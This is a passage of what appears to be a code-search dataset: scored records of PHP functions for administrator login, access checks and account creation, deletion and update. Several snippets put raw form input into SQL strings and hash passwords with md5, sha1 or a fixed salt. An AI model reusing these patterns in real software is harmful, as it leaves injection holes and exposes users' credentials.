ctrIngresoAdministrador(){\r\n\r\n\t\tif(isset($_POST[\"ingEmail\"])){\r\n\r\n\t\t\tif(preg_match('/^[^0-9][a-zA-Z0-9_]+([.][a-zA-Z0-9_]+)*[@][a-zA-Z0-9_]+([.][a-zA-Z0-9_]+)*[.][a-zA-Z]{2,4}$/', $_POST[\"ingEmail\"]) &&\r\n\t\t\t preg_match('/^[a-zA-Z0-9]+$/', $_POST[\"ingPassword\"])){\r\n\t\t\t \r\n\t\t\t $encriptar = crypt($_POST[\"ingPassword\"], '$2a$07$asxx54ahjppf45sd87a5a4dDDGsystemdev$');\r\n\t\t\t\t\t\t\r\n\t\t\t\t$tabla = \"administradores\";\r\n\t\t\t\t$item = \"email\";\r\n\t\t\t\t$valor = $_POST[\"ingEmail\"];\r\n\r\n\t\t\t\t$respuesta = ModeloAdministradores::mdlMostrarAdministradores($tabla, $item, $valor);\r\n\r\n\t\t\t\tif($respuesta[\"email\"] == $_POST[\"ingEmail\"] && $respuesta[\"password\"] == $encriptar){\r\n\r\n\t\t\t\t\tif($respuesta[\"estado\"] == 1){\r\n\r\n\t\t\t\t\t\t$_SESSION[\"validarSesionBackend\"] = \"ok\";\r\n\t\t\t\t\t\t$_SESSION[\"id\"] = $respuesta[\"id\"];\r\n\t\t\t\t\t\t$_SESSION[\"nombre\"] = $respuesta[\"nombre\"];\r\n\t\t\t\t\t\t$_SESSION[\"foto\"] = $respuesta[\"foto\"];\r\n\t\t\t\t\t\t$_SESSION[\"email\"] = $respuesta[\"email\"];\r\n\t\t\t\t\t\t$_SESSION[\"password\"] = $respuesta[\"password\"];\r\n\t\t\t\t\t\t$_SESSION[\"perfil\"] = $respuesta[\"perfil\"];\r\n\r\n\t\t\t\t\t\techo '<script>\r\n\r\n\t\t\t\t\t\t\twindow.location = \"inicio\";\r\n\r\n\t\t\t\t\t\t</script>';\r\n\r\n\t\t\t\t\t}else{\r\n\r\n\t\t\t\t\t\techo '<br>\r\n\t\t\t\t\t\t<div class=\"alert alert-warning\">Este usuario aún no está activado</div>';\t\r\n\r\n\t\t\t\t\t}\r\n\r\n\t\t\t\t}else{\r\n\r\n\t\t\t\t\techo '<br>\r\n\t\t\t\t\t<div class=\"alert alert-danger\">Error al ingresar vuelva a intentarlo</div>';\r\n\r\n\t\t\t\t}\r\n\r\n\r\n\t\t\t}\r\n\r\n\t\t}\r\n\r\n\t}", "title": "" }, { "docid": "3d0fd53984403f18dd52790c8adc92ae", "score": "0.6986152", "text": "function permiso_administrador()\n {\n if($this->session->userdata('usuario_rol') != '1')\n {\n redirect('tpoadminv1/securecms/sin_permiso');\n }\n }", "title": "" }, { "docid": "fe56b2c3d6e26f096869dd94b13a556d", "score": "0.69621366", "text": "public function indexAdministracion()\n {\n $recep = null;\n $admin = null;\n $recep = isset($_SESSION[\"recep\"]);\n $admin = isset($_SESSION[\"admin\"]);\n //verifico si esta iniciado el usuario\n //si esta iniciado el usuario no dejo que vuelva al login\n if (null != $admin) {\n //envio a la vista principal\n header(\"Location:\" . URL . \"Principal/administracion\");\n } else if (null != $recep) {\n header(\"Location:\" . URL . \"Principal/principalRecep\");\n } else {\n //ejecuto el metodo render de la libreria Views le paso el cotrolador y la vista como parametro\n require VIEWS . DFT . \"head.html\";\n $this->view->render($this, \"padmin\");\n require VIEWS . DFT . \"footer.html\";\n }\n }", "title": "" }, { "docid": "bb00c6043a799c174b34a0a518fb2251", "score": "0.6909809", "text": "public function agregar_administrador_controlador()\n {\n $Nombre = mainModel::limpiar_cadena($_POST[\"Nombre\"]);\n $Apellido = mainModel::limpiar_cadena($_POST[\"Apellido\"]);\n $Email = mainModel::limpiar_cadena($_POST[\"Email\"]);\n $Nombre_Usuario = mainModel::limpiar_cadena($_POST[\"Nombre_Usuario\"]);\n $Pass = mainModel::limpiar_cadena($_POST[\"Password\"]);\n $Pass1 = mainModel::limpiar_cadena($_POST[\"CPassword\"]);\n $Foto = \"male_Admin_Avatar.png\";\n if ($Pass != $Pass1) {\n $Alerta=[\n \"Alerta\"=>\"simple\",\n \"Titulo\"=>\"Ocurrio un Error inesperado\",\n \"Texto\"=>\"Las contraseñas que acabas de ingresar no coinciden, porfavor intente nuevamente\",\n \"Tipo\"=>\"warning\"\n ];\n } else {\n $consulta=mainModel::ejecutar_consulta_simple(\"SELECT * FROM Cuenta WHERE Usuario ='$Nombre_Usuario'\");\n if ($consulta->rowCount()>=1) {\n $Alerta=[\n \"Alerta\"=>\"simple\",\n \"Titulo\"=>\"Ocurrio un Error inesperado\",\n \"Texto\"=>\"El nombre de usuario <b>\".$Nombre_Usuario.\"</b> ya esta registrado a una cuenta porfavor ingrese otro\",\n \"Tipo\"=>\"warning\"\n ];\n } else {\n if ($Email != \"\") {\n $consulta2=mainModel::ejecutar_consulta_simple(\"SELECT * FROM `admin` WHERE Email ='$Email'\");\n if ($consulta2->rowCount()>=1) {\n $Alerta=[\n \"Alerta\"=>\"simple\",\n \"Titulo\"=>\"Ocurrio un Error inesperado\",\n \"Texto\"=>\"El Email <b>\".$Email.\"</b> ya esta registrado a una cuenta porfavor ingrese otro\",\n \"Tipo\"=>\"error\"\n ];\n } else {\n $Clave=mainModel::encryption($Pass);\n $datosAC=[\n \"Usuario\"=>$Nombre_Usuario,\n \"Pass\" => $Clave,\n \"Tipo_Cuenta\" => \"Administrador\",\n \"Foto\" => $Foto,\n \"Nombre_user\" => $Nombre\n ];\n \n $guardarCuenta=mainModel::agregar_cuenta($datosAC);\n if ($guardarCuenta->rowCount()>=1) {\n $datosAU =[\n \"Nombre\"=> $Nombre,\n \"Apellido\"=> $Apellido,\n \"Email\"=> $Email,\n \"Usuario_Cuenta\" => $Nombre_Usuario\n \n ];\n $guardarAdmin=administradorModelo::agregar_administrador_modelo($datosAU);\n \n if ($guardarAdmin->rowCount()>=1) {\n $Alerta=[\n \"Alerta\"=>\"limpiar\",\n \"Titulo\"=>\"Se ha ingresado Correctamente\",\n \"Texto\"=>\"El Registro se inserto correctamente en el sistema\",\n \"Tipo\"=>\"success\"\n ];\n }\n else {\n mainModel::eliminiar_Cuenta($Nombre_Usuario);\n $Alerta=[\n \"Alerta\"=>\"simple\",\n \"Titulo\"=>\"Ne ha ingresado Correctamente\",\n \"Texto\"=>\"El Registro del administrador no se inserto correctamente en el sistema\",\n \"Tipo\"=>\"error\"\n ]; \n }\n \n } else {\n $Alerta=[\n \"Alerta\"=>\"simple\",\n \"Titulo\"=>\"Ocurrio un Error inesperado\",\n \"Texto\"=>\"No se ha podido ingresar el registro intente nuevamente\",\n \"Tipo\"=>\"error\"\n ];\n }\n \n }\n\n \n \n } else {\n\n //mensage de error de que no se puede porque ya el email exixte\n }\n }\n }\n return mainModel::sweet_alert($Alerta);\n \n }", "title": "" }, { "docid": "965c2613ff3521c5dbb70cbf469cd94d", "score": "0.68802875", "text": "public function modifierutilisateur(){\n\t\t\n\t}", "title": "" }, { "docid": "63e0ae1b5d68f54a26bb08ab7dcd5faa", "score": "0.68336064", "text": "public function restreindreAdministrateur()\n {\n if ($this->getUtilisateur() == null || $this->getUtilisateur()->getIsadmin() != 1)\n throw $this->createNotFoundException('Vous devez être administrateur pour accéder à cette page');\n }", "title": "" }, { "docid": "8aa30e47fc40923725721687de5d24f5", "score": "0.68243194", "text": "function esta_logueadoAdministrador(){\n \n if(!isset($_SESSION)) \n { \n session_start(); \n } \n // verifico que sea usuario administrador para ingresar a esa seccion sino lo redirecciono\n if ((isset($_SESSION['LOGUEADO']) && ($_SESSION['LOGUEADO'] == true) \n && isset($_SESSION['TIPO_USER']) && $_SESSION['TIPO_USER'] == 1)) \n {\n return TRUE; \n }else{\n // si no es administrador lo vuelvo a la home normal\n header(\"Location: \" . BASE_URL); \n return false;\n }\n }", "title": "" }, { "docid": "dbd84d10f613ba0f1ef0da0acde8cd7d", "score": "0.6766599", "text": "function adminSecurity()\r\n{\r\n if (!isUserAdmin()) {\r\n // si on n'est pas connecté\r\n if (!isUserConnected()) {\r\n // redirection vers la page de connexion\r\n $url = RACINE_WEB . 'connexion.php';\r\n header('Location: ' . $url);\r\n // si on est connecté mais avec le role membre\r\n } else {\r\n // on interdit l'accès à la page\r\n header('HTTP/1.1 403 Forbidden');\r\n echo \"Vous n'avez pas le droit\"\r\n . \"d'accéder à cette page\"\r\n ;\r\n }\r\n \r\n die;\r\n }\r\n}", "title": "" }, { "docid": "841b387c1bff8f4951b61824a4990a26", "score": "0.6687697", "text": "public function administrateurs()\n {\n $this->index(1);\n }", "title": "" }, { "docid": "4427375d2873876b2de7134583cb7feb", "score": "0.66703373", "text": "private function nuevoAdmin() {\n if ($_SERVER['REQUEST_METHOD'] != \"POST\") {\n $this->mostrarRespuesta($this->convertirJson($this->devolverError(1)), 405);\n }\n if (isset($this->datosPeticion['nombre'], $this->datosPeticion['apellidos'], $this->datosPeticion['expediente'], $this->datosPeticion['dni'], $this->datosPeticion['mail'], $this->datosPeticion['password'] )) {\n\n $nombre = $this->datosPeticion['nombre'];\n $apellidos = $this->datosPeticion['apellidos'];\n $expediente = $this->datosPeticion['expediente'];\n $dni = $this->datosPeticion['dni'];\n $password = $this->datosPeticion['password'];\n $mail = $this->datosPeticion['mail'];\n $rol = 1;\n\n if (!$this->existeUsuario($mail) && !$this->existeUsuario($dni) && !$this->existeUsuario($expediente)) {\n $query = $this->_conn->prepare(\"INSERT into usuarios (nombre,apellidos,expediente,dni,mail,password,rol) VALUES (:nombre,:apellidos,:expediente,:dni,:mail,:password,:rol)\");\n $query->bindValue(\":nombre\", $nombre);\n $query->bindValue(\":apellidos\", $apellidos);\n $query->bindValue(\":expediente\", $expediente);\n $query->bindValue(\":dni\", $dni);\n $query->bindValue(\":mail\", $mail);\n $query->bindValue(\":password\", sha1($password));\n $query->bindValue(\":rol\", $rol);\n $query->execute();\n if ($query->rowCount() == 1) {\n $id = $this->_conn->lastInsertId();\n $respuesta['estado'] = 'correcto';\n $respuesta['msg'] = 'Usuario administrador creado correctamente';\n $respuesta['usuario']['id'] = $id;\n $respuesta['usuario']['nombre'] = $nombre;\n $respuesta['usuario']['mail'] = $mail;\n $this->mostrarRespuesta($this->convertirJson($respuesta), 200);\n }\n else\n $this->mostrarRespuesta($this->convertirJson($this->devolverError(12)), 200);\n }\n else\n $this->mostrarRespuesta($this->convertirJson($this->devolverError(8)), 400);\n } else {\n $this->mostrarRespuesta($this->convertirJson($this->devolverError(7)), 400);\n }\n }", "title": "" }, { "docid": "ab8a2e69ad0c0907b44c18899a4e31a1", "score": "0.66683817", "text": "public function eliminar_administrador_controlador (){\n\t\t\t$codigo=mainModel::decryption($_POST['codigo-del']);\n\t\t\t$adminPrivilegio=mainModel::decryption($_POST['privilegio-admin']);\n\n\t\t\t$codigo=mainModel::limpiar_cadena($codigo);\n\t\t\t$adminPrivilegio=mainModel::limpiar_cadena($adminPrivilegio);\n\n\t\t\tif($adminPrivilegio==1){\n\t\t\t\t$query1=mainModel::ejecutar_consulta_simple(\"SELECT id FROM admin WHERE CuentaCodigo='$codigo'\");\n\t\t\t\t$datosAdmin=$query1->fetch();\n\t\t\t\tif($datosAdmin['id']!=1){\n\t\t\t\t\t$ElimAdmin=administradorModelo::eliminar_administrador_modelo($codigo);\n\t\t\t\t\tmainModel::eliminar_bitacora($codigo);\n\t\t\t\t\tif($ElimAdmin->rowCount()>=1){\n\t\t\t\t\t\t$Elimcuenta=mainModel::eliminar_cuenta($codigo);\n\t\t\t\t\t\tif($Elimcuenta->rowCount()>=1){\n\t\t\t\t\t\t\t$alerta=[\n\t\t\t\t\t\t\t\t\"Alertas\"=>\"recargar\",\n\t\t\t\t\t\t\t\t\"Titulo\"=>\"Administrador Eliminado\",\n\t\t\t\t\t\t\t\t\"Texto\"=>\"Se elimino el administrador de manera satisfactoria\",\n\t\t\t\t\t\t\t\t\"Tipo\"=>\"success\"\n\t\t\t\t\t\t\t];\n\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\t$alerta=[\n\t\t\t\t\t\t\t\t\"Alertas\"=>\"simple\",\n\t\t\t\t\t\t\t\t\"Titulo\"=>\"Ocurrio un error inesperado\",\n\t\t\t\t\t\t\t\t\"Texto\"=>\"No se puedo eliminar esta cuenta administrador.\",\n\t\t\t\t\t\t\t\t\"Tipo\"=>\"error\"\n\t\t\t\t\t\t\t];\n\t\t\t\t\t\t}\n\t\t\t\t\t}else{\n\t\t\t\t\t\t$alerta=[\n\t\t\t\t\t\"Alertas\"=>\"simple\",\n\t\t\t\t\t\"Titulo\"=>\"Ocurrio un error inesperado\",\n\t\t\t\t\t\"Texto\"=>\"No se puedo eliminar el administrador.\",\n\t\t\t\t\t\"Tipo\"=>\"error\"\n\t\t\t\t];\n\t\t\t\t\t}\n\t\t\t\t}else{\n\t\t\t\t\t$alerta=[\n\t\t\t\t\t\"Alertas\"=>\"simple\",\n\t\t\t\t\t\"Titulo\"=>\"Ocurrio un error inesperado\",\n\t\t\t\t\t\"Texto\"=>\"No se puede eliminar el administrador principal.\",\n\t\t\t\t\t\"Tipo\"=>\"error\"\n\t\t\t\t];\n\t\t\t\t}\n\t\t\t}else{\n\t\t\t\t$alerta=[\n\t\t\t\t\t\"Alertas\"=>\"simple\",\n\t\t\t\t\t\"Titulo\"=>\"Ocurrio un error inesperado\",\n\t\t\t\t\t\"Texto\"=>\"No cumples con los roles para ejecutar esta acción.\",\n\t\t\t\t\t\"Tipo\"=>\"error\"\n\t\t\t\t];\n\t\t\t}\n\t\t\treturn mainModel::sweet_alert($alerta);\n\t\t\n\t\t}", "title": "" }, { "docid": "a798ee0a772b13ee8be4016614aa8a2e", "score": "0.66180646", "text": "public function administradorTest()\n {\n $user = $this->defaultUser();\n $userAcceso = $this->defaultUserAcceso([\n 'cod_acceso'=>'adm',\n 'user_id' => $user->id\n ]);\n $this->actingAs($user);\n $response = $this->get('adm/grupos/show');\n \t$response->assertStatus(200);\n \t$response->assertViewIs('app.grupos');\n//\t\t$this->markTestIncomplete();\n // An administrador don't access backup.index\n $response = $this->get('sys/backup');\n $response->assertStatus(302); \t\n }", "title": "" }, { "docid": "d32d93de5b39ebeba62fe672bb59cfa1", "score": "0.65996206", "text": "function MenuAdmin() {\r\n session_cache_limiter('private_no_expire');\r\n if (isset($_SESSION['user']) && $_SESSION['user']->USER_ROL == 'administrador') {\r\n $pagina = $this->load_template('Menu Admin');\r\n $html = $this->load_page('app/views/modules/m.madmin.php');\r\n $pagina = $this->replace_content('/\\#CONTENIDO\\#/ms', $html, $pagina);\r\n $this->view_page($pagina);\r\n } else {\r\n $e = \"Favor de Revisar sus datos\";\r\n header('Location: index.php?action=login&e=' . urlencode($e));\r\n exit;\r\n }\r\n }", "title": "" }, { "docid": "b16fde75bff6d5c5cf62608cb7d3b444", "score": "0.65665513", "text": "function gestionUsuariosAction() {\n\t\t\tif (BLOQUEAR == 1){\n\t\t\t\t$this->render('appBloqueada');\n\t\t\t} else if ($this->security(true) && $_SESSION['user']->rol>=100) {\n\t\t\t\t$this->render('gestionUsuarios');\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "5228838b9e2c413e70188a15852ceab8", "score": "0.6554029", "text": "public function checkAdmin()\n\t{\n\t\tif ($_SESSION['role'] !='admin')\n\t\t{\n\t\t\tthrow new Exception('Vous n\\'avez pas les droits requis');\n\n\t\t}\n\t}", "title": "" }, { "docid": "30d1bb1f4ef89865d58e60e861f5873d", "score": "0.6553233", "text": "public function ctrEntryAdministrator(){\n\n\t\tif(isset($_POST[\"ingEmail\"])){\n\n\t\t\tif(preg_match('/^[^0-9][a-zA-Z0-9_]+([.][a-zA-Z0-9_]+)*[@][a-zA-Z0-9_]+([.][a-zA-Z0-9_]+)*[.][a-zA-Z]{2,4}$/', $_POST[\"ingEmail\"]) &&\n\t\t\t preg_match('/^[a-zA-Z0-9]+$/', $_POST[\"ingPassword\"])){\n\t\t\t \n\t\t\t\t$encriptar = md5($_POST[\"ingPassword\"]);\n\t\t\t\t\t\t\n\t\t\t\t$tabla = \"administradores_cp\";\n\t\t\t\t$item = \"email\";\n\t\t\t\t$valor = $_POST[\"ingEmail\"];\n\n\t\t\t\t$reply = ModelAdministrator::mdlShowAdministrator($tabla, $item, $valor);\n\n\t\t\t\tif($reply[\"email\"] == $_POST[\"ingEmail\"] && $reply[\"password\"] == $encriptar){\n\n\t\t\t\t\tif($reply[\"estado\"] == 1){ \n\n\t\t\t\t\t\t$_SESSION[\"validateSession\"] = \"ok\";\n\t\t\t\t\t\t$_SESSION[\"id\"] = $reply[\"id\"];\n\t\t\t\t\t\t$_SESSION[\"nombre\"] = $reply[\"nombre\"];\n\t\t\t\t\t\t$_SESSION[\"foto\"] = $reply[\"foto\"];\n\t\t\t\t\t\t$_SESSION[\"email\"] = $reply[\"email\"];\n\t\t\t\t\t\t$_SESSION[\"password\"] = $reply[\"password\"];\n\t\t\t\t\t\t$_SESSION[\"perfil\"] = $reply[\"perfil\"];\n\t\t\t\t\t\n\t\t\t\t\t\techo '<script>\n\n\t\t\t\t\t\t\twindow.location = \"home\";\n\n\t\t\t\t\t\t</script>';\n\n\t\t\t\t\t}else{\n\n\t\t\t\t\t\techo '<br>\n\t\t\t\t\t\t<div class=\"alert alert-warning\">Este usuario aun no esta activado</div>';\n\n\t\t\t\t\t}\n\n\t\t\t\t}else{\n\n\t\t\t\t\techo '<br>\n\t\t\t\t\t<div class=\"alert alert-danger\">Error al ingresar vuelva a intentarlo</div>';\n\n\t\t\t\t}\n\n\n\t\t\t}\n\n\t\t}\n\n\t}", "title": "" }, { "docid": "c4a8ad29ea8268acde9119706a6c6c6e", "score": "0.652021", "text": "public function agregar_administrador_controlador (){\n\t\t\t$cc=mainModel::limpiar_cadena($_POST[\"cc-reg\"]);\n\t\t\t$nombre=mainModel::limpiar_cadena($_POST[\"nombre-reg\"]);\n\t\t\t$apellido=mainModel::limpiar_cadena($_POST[\"apellido-reg\"]);\n\t\t\t$telefono=mainModel::limpiar_cadena($_POST[\"telefono-reg\"]);\n\t\t\t$direccion=mainModel::limpiar_cadena($_POST[\"direccion-reg\"]);\n\n\t\t\t$usuario=mainModel::limpiar_cadena($_POST[\"usuario-reg\"]);\n\t\t\t$password1=mainModel::limpiar_cadena($_POST[\"password1-reg\"]);\n\t\t\t$password2=mainModel::limpiar_cadena($_POST[\"password2-reg\"]);\n\t\t\t$email=mainModel::limpiar_cadena($_POST[\"email-reg\"]);\n\t\t\t$genero=mainModel::limpiar_cadena($_POST[\"optionsGenero\"]);\n\n\t\t\t$privilegio=mainModel::decryption($_POST[\"optionsPrivilegio\"]);\n\t\t\t$privilegio=mainModel::limpiar_cadena($privilegio);\n\n\t\t\t\t\t\n\t\t\t/*=============================================\n\t\t\tVALIDAR IMAGEN\n\t\t\t=============================================*/\n\t\t\t$ruta = \"../vista/assets/avatars/default/default.png\";\n\t\t\t\n\t\t\tif(isset($_FILES[\"imagen-reg\"][\"tmp_name\"])){\n\n\t\t\tlist($ancho, $alto) = getimagesize($_FILES[\"imagen-reg\"][\"tmp_name\"]);\n\n\t\t\t$nuevoAncho = 300;\n\t\t\t$nuevoAlto = 300;\n\n\t\t\t/*=============================================\n\t\t\tCREAMOS EL DIRECTORIO DONDE VAMOS A GUARDAR LA FOTO DEL USUARIO\n\t\t\t=============================================*/\n\n\t\t\t$directorio = \"../vista/assets/avatars/\".$_POST[\"cc-reg\"].\"\";\n\n\t\t\tmkdir($directorio, 0755);\n\n\t\t\t/*=============================================\n\t\t\tDE ACUERDO AL TIPO DE IMAGEN APLICAMOS LAS FUNCIONES POR DEFECTO DE PHP\n\t\t\t=============================================*/\n\n\t\t\tif($_FILES[\"imagen-reg\"][\"type\"] == \"image/jpg\"){\n\n\t\t\t/*=============================================\n\t\t\tGUARDAMOS LA IMAGEN EN EL DIRECTORIO\n\t\t\t=============================================*/\n\n\t\t\t$aleatorio = mt_rand(100,999);\n\n\t\t\t$ruta = \"../vista/assets/avatars/\".$_POST[\"cc-reg\"].\"/\".$aleatorio.\".jpg\";\n\n\t\t\t$origen = imagecreatefromjpeg($_FILES[\"imagen-reg\"][\"tmp_name\"]);\t\t\t\t\t\t\n\n\t\t\t$destino = imagecreatetruecolor($nuevoAncho, $nuevoAlto);\n\n\t\t\timagecopyresized($destino, $origen, 0, 0, 0, 0, $nuevoAncho, $nuevoAlto, $ancho, $alto);\n\n\t\t\timagejpeg($destino, $ruta);\n\n\t\t\t}\n\t\t\t\n\t\t\tif($_FILES[\"imagen-reg\"][\"type\"] == \"image/jpeg\"){\n\n\t\t\t/*=============================================\n\t\t\tGUARDAMOS LA IMAGEN EN EL DIRECTORIO\n\t\t\t=============================================*/\n\n\t\t\t$aleatorio = mt_rand(100,999);\n\n\t\t\t$ruta = \"../vista/assets/avatars/\".$_POST[\"cc-reg\"].\"/\".$aleatorio.\".jpg\";\n\n\t\t\t$origen = imagecreatefromjpeg($_FILES[\"imagen-reg\"][\"tmp_name\"]);\t\t\t\t\t\t\n\n\t\t\t$destino = imagecreatetruecolor($nuevoAncho, $nuevoAlto);\n\n\t\t\timagecopyresized($destino, $origen, 0, 0, 0, 0, $nuevoAncho, $nuevoAlto, $ancho, $alto);\n\n\t\t\timagejpeg($destino, $ruta);\n\n\t\t\t}\n\n\t\t\tif($_FILES[\"imagen-reg\"][\"type\"] == \"image/png\"){\n\n\t\t\t/*=============================================\n\t\t\tGUARDAMOS LA IMAGEN EN EL DIRECTORIO\n\t\t\t=============================================*/\n\n\t\t\t$aleatorio = mt_rand(100,999);\n\n\t\t\t$ruta = \"../vista/assets/avatars/\".$_POST[\"cc-reg\"].\"/\".$aleatorio.\".png\";\n\n\t\t\t$origen = imagecreatefrompng($_FILES[\"imagen-reg\"][\"tmp_name\"]);\t\t\t\t\t\t\n\n\t\t\t$destino = imagecreatetruecolor($nuevoAncho, $nuevoAlto);\n\n\t\t\timagecopyresized($destino, $origen, 0, 0, 0, 0, $nuevoAncho, $nuevoAlto, $ancho, $alto);\n\n\t\t\timagepng($destino, $ruta);\n\n\t\t\t}\n\n\t\t\t}\n\n\t\t\tif($privilegio<1 || $privilegio>3){\n\t\t\t\t$alerta=[\n\t\t\t\t\t\"Alertas\"=>\"simple\",\n\t\t\t\t\t\"Titulo\"=>\"Ocurrio un error inesperado\",\n\t\t\t\t\t\"Texto\"=>\"El nivel de privilegio que ingresa es incorrecto.\",\n\t\t\t\t\t\"Tipo\"=>\"error\"\n\t\t\t\t];\n\t\t\t}else{\n\t\t\t\tif ($password1!=$password2){\n\t\t\t\t$alerta=[\n\t\t\t\t\t\"Alertas\"=>\"simple\",\n\t\t\t\t\t\"Titulo\"=>\"Ocurrio un error inesperado\",\n\t\t\t\t\t\"Texto\"=>\"Las contraseñas que acabo de ingresar no coinciden, por favor intente nuevamente\",\n\t\t\t\t\t\"Tipo\"=>\"error\"\n\t\t\t\t];\n\t\t\t}else{\n\t\t\t\t$consulta1=mainModel::ejecutar_consulta_simple(\"SELECT AdminCC FROM admin WHERE AdminCC='$cc'\");\n\t\t\t\tif ($consulta1->rowCount()>=1) {\n\t\t\t\t\t$alerta=[\n\t\t\t\t\t\t\"Alertas\"=>\"simple\",\n\t\t\t\t\t\t\"Titulo\"=>\"Ocurrio un error inesperado\",\n\t\t\t\t\t\t\"Texto\"=>\"La Cedula que acaba de ingresar ya se encuentra resgitrada en el sistema\",\n\t\t\t\t\t\t\"Tipo\"=>\"error\"\n\t\t\t\t];\n\t\t\t\t}else{\n\t\t\t\t\tif ($email!=\"\") {\n\t\t\t\t\t\t$consulta2=mainModel::ejecutar_consulta_simple(\"SELECT CuentaEmail FROM cuenta WHERE CuentaEmail= '$email'\" );\n\t\t\t\t\t\t$ec=$consulta2->rowCount();\n\t\t\t\t\t}else{\n\t\t\t\t\t\t$ec=0;\n\t\t\t\t\t}\n\t\t\t\t\tif ($ec>=1) {\n\t\t\t\t\t\t$alerta=[\n\t\t\t\t\t\t\t\"Alertas\"=>\"simple\",\n\t\t\t\t\t\t\t\"Titulo\"=>\"Ocurrio un error inesperado\",\n\t\t\t\t\t\t\t\"Texto\"=>\"El Correo que acaba de ingresar ya se encuentra resgitrada en el sistema\",\n\t\t\t\t\t\t\t\"Tipo\"=>\"error\"\n\t\t\t\t\t\t];\n\t\t\t\t\t}else{\n\t\t\t\t\t\t$consulta3=mainModel::ejecutar_consulta_simple(\"SELECT CuentaUsuario FROM cuenta WHERE CuentaUsuario='$usuario'\" );\n\t\t\t\t\t\tif ($consulta3->rowCount()>=1) {\n\t\t\t\t\t\t\t$alerta=[\n\t\t\t\t\t\t\t\t\"Alertas\"=>\"simple\",\n\t\t\t\t\t\t\t\t\"Titulo\"=>\"Ocurrio un error inesperado\",\n\t\t\t\t\t\t\t\t\"Texto\"=>\"El Usuario que acaba de ingresar ya se encuentra resgitrada en el sistema\",\n\t\t\t\t\t\t\t\t\"Tipo\"=>\"error\"\n\t\t\t\t\t\t\t];\n\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\t$consulta4=mainModel::ejecutar_consulta_simple(\"SELECT id FROM cuenta\");\n\t\t\t\t\t\t\t$numero=($consulta4->rowCount())+1;\n\n\t\t\t\t\t\t\t$codigo=mainModel::generar_codigo_aleatorio(\"AC\",7,$numero);\n\n\t\t\t\t\t\t\t$clave=mainModel::encryption($password1);\n\n\t\t\t\t\t\t\t$dataAC=[\n\t\t\t\t\t\t\t\t\"Codigo\"=>$codigo,\n\t\t\t\t\t\t\t\t\"Privilegio\"=>$privilegio,\n\t\t\t\t\t\t\t\t\"Usuario\"=>$usuario,\n\t\t\t\t\t\t\t\t\"Clave\"=>$clave,\n\t\t\t\t\t\t\t\t\"Email\"=>$email,\n\t\t\t\t\t\t\t\t\"Estado\"=>\"Activo\",\n\t\t\t\t\t\t\t\t\"Tipo\"=>\"Administrador\",\n\t\t\t\t\t\t\t\t\"Genero\"=>$genero,\n\t\t\t\t\t\t\t\t\"Foto\"=>$ruta\n\t\t\t\t\t\t\t];\n\t\t\t\t\t\t\t$guardarCuenta=mainModel::agregar_cuenta($dataAC);\n\n\t\t\t\t\t\t\tif ($guardarCuenta->rowCount()>=1) {\n\t\t\t\t\t\t\t\t$dataAD=[\n\t\t\t\t\t\t\t\t\t\"CC\"=>$cc,\n\t\t\t\t\t\t\t\t\t\"Nombre\"=>$nombre,\n\t\t\t\t\t\t\t\t\t\"Apellido\"=>$apellido,\n\t\t\t\t\t\t\t\t\t\"Telefono\"=>$telefono,\n\t\t\t\t\t\t\t\t\t\"Direccion\"=>$direccion,\n\t\t\t\t\t\t\t\t\t\"Codigo\"=>$codigo\n\t\t\t\t\t\t\t\t];\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t$guardarAdmin=administradorModelo::agregar_administrador_modelo($dataAD);\n\n\t\t\t\t\t\t\t\tif ($guardarAdmin->rowCount()>=1) {\n\t\t\t\t\t\t\t\t\t$alerta=[\n\t\t\t\t\t\t\t\t\t\t\"Alertas\"=>\"limpiar\",\n\t\t\t\t\t\t\t\t\t\t\"Titulo\"=>\"Registro exitoso\",\n\t\t\t\t\t\t\t\t\t\t\"Texto\"=>\"Se ha registrado el usuario en el sistema\",\n\t\t\t\t\t\t\t\t\t\t\"Tipo\"=>\"success\"\n\t\t\t\t\t\t\t\t\t];\n\t\t\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\t\t\tmainModel::eliminar_cuenta($codigo);\n\t\t\t\t\t\t\t\t\t$alerta=[\n\t\t\t\t\t\t\t\t\t\t\"Alertas\"=>\"simple\",\n\t\t\t\t\t\t\t\t\t\t\"Titulo\"=>\"Ocurrio un error inesperado\",\n\t\t\t\t\t\t\t\t\t\t\"Texto\"=>\"No se ha podido registrar el administrador en el sistema\",\n\t\t\t\t\t\t\t\t\t\t\"Tipo\"=>\"error\"\n\t\t\t\t\t\t\t\t\t];\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\t\t$alerta=[\n\t\t\t\t\t\t\t\t\"Alertas\"=>\"simple\",\n\t\t\t\t\t\t\t\t\"Titulo\"=>\"Ocurrio un error inesperado\",\n\t\t\t\t\t\t\t\t\"Texto\"=>\"No se ha podido registrar el adminitrador en el sistema\",\n\t\t\t\t\t\t\t\t\"Tipo\"=>\"error\"\n\t\t\t\t\t\t\t\t];\n\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\n\t\t\t\t}\n\t\t\t}\n\t\t\t}\n\t\t\treturn mainModel::sweet_alert($alerta);\n\t\t}", "title": "" }, { "docid": "cd2cf1eb806731423b59deda28afcbe5", "score": "0.6490214", "text": "function actualizeazaAdmin($request_values){\n\tglobal $conn, $errors, $rol, $username, $isEditingUser, $admin_id, $email;\n\t// preia ID-ul administratorului pentru actualizare\n\t$admin_id = $request_values['admin_id'];\n\t// seteaza starea de editare la fals\n\t$editeazaUtilizatorul = false;\n\n\n\t$username = esc($request_values['username']);\n\t$email = esc($request_values['email']);\n\t$password = esc($request_values['password']);\n\t$passwordConfirmation = esc($request_values['passwordConfirmation']);\n\tif(isset($request_values['role'])){\n\t\t$rol = $request_values['role'];\n\t}\n\t// inregistreaza utilizator daca nu sunt erori in formular\n\tif (count($errors) == 0) {\n\t\t$password = md5($password);\n\n\t\t$query = \"UPDATE utilizatori SET username='$username', email='$email', rol='$rol', password='$password' WHERE id=$admin_id\";\n\t\tmysqli_query($conn, $query);\n\n\t\t$_SESSION['message'] = \"Utilizatorul a fost actualizat cu succes\";\n\t\theader('location: users.php');\n\t\texit(0);\n\t}\n}", "title": "" }, { "docid": "cd2cf1eb806731423b59deda28afcbe5", "score": "0.6490214", "text": "function actualizeazaAdmin($request_values){\n\tglobal $conn, $errors, $rol, $username, 